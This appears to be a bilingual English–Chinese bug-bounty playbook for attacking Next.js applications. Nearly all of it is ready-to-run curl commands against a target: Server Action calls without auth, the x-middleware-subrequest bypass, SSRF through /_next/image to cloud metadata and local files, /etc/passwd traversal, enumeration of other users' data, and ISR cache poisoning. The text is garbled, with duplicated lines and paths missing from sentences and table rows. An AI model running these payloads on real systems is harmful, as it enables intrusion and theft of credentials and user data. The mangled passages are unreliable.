hunt-nextjs
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
HUNT-NEXTJS — Next.js / SSR 框架漏洞
Crown Jewel Targets
核心高价值目标
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
- Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- Middleware bypass via — middleware skips static asset paths → protected routes accessible via
/_next/static/IDOR/_next/data/ - SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
/_next/image - ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
- RSC payload leakage — React Server Component flight data contains server-side props not meant for client
可绕过鉴权或能够触达 SSRF 的 Next.js 特有漏洞 = 高危/严重。
最高价值的攻击链:
- Server Actions 鉴权绕过 — Server Actions 仅在客户端强制执行鉴权 → 直接调用 action ID → 越权修改数据或数据外泄
- 通过 绕过 Middleware — Middleware 会跳过静态资源路径 → 可通过
/_next/static/访问受保护路由,形成 IDOR/_next/data/ - SSRF — Image optimizer 获取攻击者控制的 URL → 扫描内网或读取云元数据
/_next/image - ISR 陈旧缓存投毒 — 向缓存页面注入恶意内容,随后提供给所有用户
- RSC payload 泄露 — React Server Component flight data 包含不应发送给客户端的服务端 props
Attack Surface Signals
攻击面特征
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.jsPhase 1 — Fingerprint & Version Detection
阶段 1 — 指纹识别与版本探测
bash
undefinedbash
undefinedConfirm Next.js and get build ID
Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by|x-nextjs"
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by|x-nextjs"
Extract build ID for /_next/data/ paths
Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
Check Next.js version via package disclosure
Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
Source map exposure
Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
---curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
---Phase 2 — Server Actions Abuse
阶段 2 — Server Actions 滥用
bash
undefinedbash
undefinedServer Actions in Next.js 14+ use x-action-id or Next-Action header
Server Actions in Next.js 14+ use x-action-id or Next-Action header
Find action IDs in HTML source or JS bundles
Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
Call Server Action directly without auth
Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
curl -s -X POST https://$TARGET/target-page
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
Test: does the action execute without a valid session?
Test: does the action execute without a valid session?
If it returns data or mutates state → auth enforcement is client-side only
If it returns data or mutates state → auth enforcement is client-side only
---
---Phase 3 — Middleware Auth Bypass
阶段 3 — Middleware 鉴权绕过
bash
undefinedbash
undefinedNext.js middleware runs on edge runtime and may skip certain paths
Next.js middleware runs on edge runtime and may skip certain paths
Test protected route directly
Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
→ 200 means accessible
→ 200 means accessible
Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
Test via static asset path prefix (middleware matcher may exclude /_next/static)
Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
curl -s "https://$TARGET/_next/static/../admin/dashboard"
Encoded path bypass
Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
---curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
---Middleware bypass via x-middleware-subrequest
(CVE-2025-29927)
x-middleware-subrequest通过 x-middleware-subrequest
绕过 Middleware(CVE-2025-29927)
x-middleware-subrequestNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
bash
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"当该 header 声称请求是内部子请求时,Next 会完全跳过 Middleware 执行——从而绕过受保护路由上的鉴权/重定向 Middleware。
bash
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
undefinedundefinedPhase 4 — Image Optimization SSRF (/_next/image
)
/_next/image阶段 4 — Image Optimization SSRF(/_next/image
)
/_next/imagebash
undefinedbash
undefinedBasic SSRF test — internal metadata
Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
Protocol bypass attempts
Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
fetches URLs allowed by `images.remotePatterns` / `images.domains` in
`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
returns an *optimized image*, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
Collaborator subdomain** (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.
> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
> Actions surface.
---
**误报防护(声称 SSRF 前务必阅读):** `/_next/image` 只会获取 `next.config.js` 中 `images.remotePatterns` / `images.domains` 允许的 URL。默认情况下,不在白名单中的 `url` 会返回 **400**——这是 optimizer 正常的白名单拒绝,并**不是**你绕过了某种“封锁”。**200** 表示返回的是*优化后的图片*,而不是上游响应正文,因此仅凭状态码**绝不能**确认 SSRF。只能通过**向唯一的 Collaborator 子域发起带外回调**(见上文),或对已知的内部目标与外部目标进行正文差异比较来确认。不要仅根据状态码报告。
> 注意:CVE-2024-34351(Next.js SSRF,GHSA-fr5h-rqp8-mj6g,影响 13.4.0 至 < 14.1.1,已在 14.1.1 修复)属于 **Server Actions SSRF**——它利用信任 `Host` header 的相对重定向——而**不是** `/_next/image` 漏洞,并且**不**影响 Vercel 等基于 Host 路由的提供商。Server Actions 攻击面请参阅阶段 2。
---Phase 5 — /_next/data/
IDOR & Data Leakage
/_next/data/阶段 5 — /_next/data/
IDOR 与数据泄露
/_next/data/bash
undefinedbash
undefinedEnumerate prerendered JSON for user-specific data
Enumerate prerendered JSON for user-specific data
Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json"
-H "Cookie: session=VICTIM_SESSION"
-H "Cookie: session=VICTIM_SESSION"
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json"
-H "Cookie: session=VICTIM_SESSION"
-H "Cookie: session=VICTIM_SESSION"
Try other users' data
Try other users' data
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
Check NEXT_DATA in HTML for sensitive server-side props
Check NEXT_DATA in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" |
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
---curl -s "https://$TARGET/dashboard" |
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
---Phase 6 — ISR Cache Poisoning
阶段 6 — ISR 缓存投毒
bash
undefinedbash
undefinedISR pages regenerate on request after revalidation period
ISR pages regenerate on request after revalidation period
If user input influences the static page content without sanitization:
If user input influences the static page content without sanitization:
1. Trigger revalidation with malicious input in URL/query
1. Trigger revalidation with malicious input in URL/query
2. Injected content cached and served to all users
2. Injected content cached and served to all users
Test: does query param affect cached page content?
Test: does query param affect cached page content?
Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
and confirm the response was actually CACHED + served to a DIFFERENT client.
and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
MARK="zqx$(date +%s)"
1) Poison with the marker
1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
On-demand revalidation endpoint (if exposed)
On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
---curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
---Phase 7 — Debug & Stack Frame Endpoints
阶段 7 — Debug 与 Stack Frame 端点
Precondition: and
are react-dev-overlay middleware mounted ONLY under . A production
build () does not register these routes — a 404 here
is the normal, expected result, not a "filter" you need to bypass. They are
reachable ONLY in the rare misconfiguration of literally running in
production. Treat any non-404 as the real finding; do NOT report a 404/filtered
response as confirmation.
__nextjs_launch-editor__nextjs_original-stack-framenext devnext build && next startnext devbash
undefined前提条件: 和 是 react-dev-overlay Middleware,仅在 下挂载。生产构建()不会注册这些路由——此处返回 404 是正常且预期的结果,并不存在需要绕过的“过滤”。只有在生产环境中直接运行 这种罕见错误配置下,这些端点才可访问。将任何非 404 响应视为真实发现;不要将 404/被过滤的响应报告为已确认漏洞。
__nextjs_launch-editor__nextjs_original-stack-framenext devnext build && next startnext devbash
undefinedFirst confirm dev mode is actually exposed (anything but 404 = dev server in prod)
First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
curl -s -o /dev/null -w "%{http_code}"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
reference local files (file-read surface of a dev server wrongly exposed)
reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame"
--data '{"file":"/etc/passwd","line":1,"column":1}'
--data '{"file":"/etc/passwd","line":1,"column":1}'
---curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame"
--data '{"file":"/etc/passwd","line":1,"column":1}'
--data '{"file":"/etc/passwd","line":1,"column":1}'
---Phase 8 — Environment Variable Leakage
阶段 8 — 环境变量泄露
bash
undefinedbash
undefinedNEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/next/static/chunks/pages/app.js" |
grep -oE "NEXT_PUBLIC[A-Z]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"
grep -oE "NEXT_PUBLIC[A-Z]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"
curl -s "https://$TARGET/next/static/chunks/pages/app.js" |
grep -oE "NEXT_PUBLIC[A-Z]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"
grep -oE "NEXT_PUBLIC[A-Z]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"
Check for non-public vars accidentally exposed
Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'NEXT_DATA.?({.?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
---curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'NEXT_DATA.?({.?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
---Chain Table
攻击链表
| Next.js finding | Chain to | Impact |
|---|---|---|
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
| Cloud metadata → IAM creds | Cloud compromise |
| Other users' server-side props | PII / token exfil |
| Middleware bypass | Protected admin routes | Auth bypass |
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
| Server-side secrets in HTML | API keys / tokens |
| Next.js 发现项 | 可链式利用至 | 影响 |
|---|---|---|
| Server Action 缺少鉴权 | 直接调用特权操作 | 数据篡改 / 管理员权限访问 |
| 云元数据 → IAM 凭据 | 云环境失陷 |
| 其他用户的 server-side props | PII / token 外泄 |
| Middleware 绕过 | 受保护的管理员路由 | 鉴权绕过 |
| Source map 暴露 | 重建 TS 源码 → 查找硬编码 secrets | 进一步发现漏洞 |
| HTML 中的服务端 secrets | API keys / tokens |
Validation
验证
✅ Server Action: action executes without valid session, returns data or mutates state
✅ SSRF: DNS/HTTP callback received from SSRF
✅ Middleware bypass: 200 response on protected route without auth cookie
✅ Data leak: contains non-public secrets or other users' PII
/_next/image__NEXT_DATA__Severity:
- Server Action auth bypass → data mutation: High/Critical
- Image SSRF → cloud metadata: Critical
- Middleware bypass → admin panel: High
- Source map exposure only: Low-Medium
✅ Server Action:在无有效 session 的情况下执行 action,并返回数据或修改状态
✅ SSRF:收到来自 SSRF 的 DNS/HTTP 回调
✅ Middleware 绕过:在无 auth cookie 的情况下,受保护路由返回 200
✅ 数据泄露: 包含非公开 secrets 或其他用户的 PII
/_next/image__NEXT_DATA__严重性:
- Server Action 鉴权绕过 → 数据修改:高危/严重
- Image SSRF → 云元数据:严重
- Middleware 绕过 → 管理员面板:高危
- 仅 Source map 暴露:低危至中危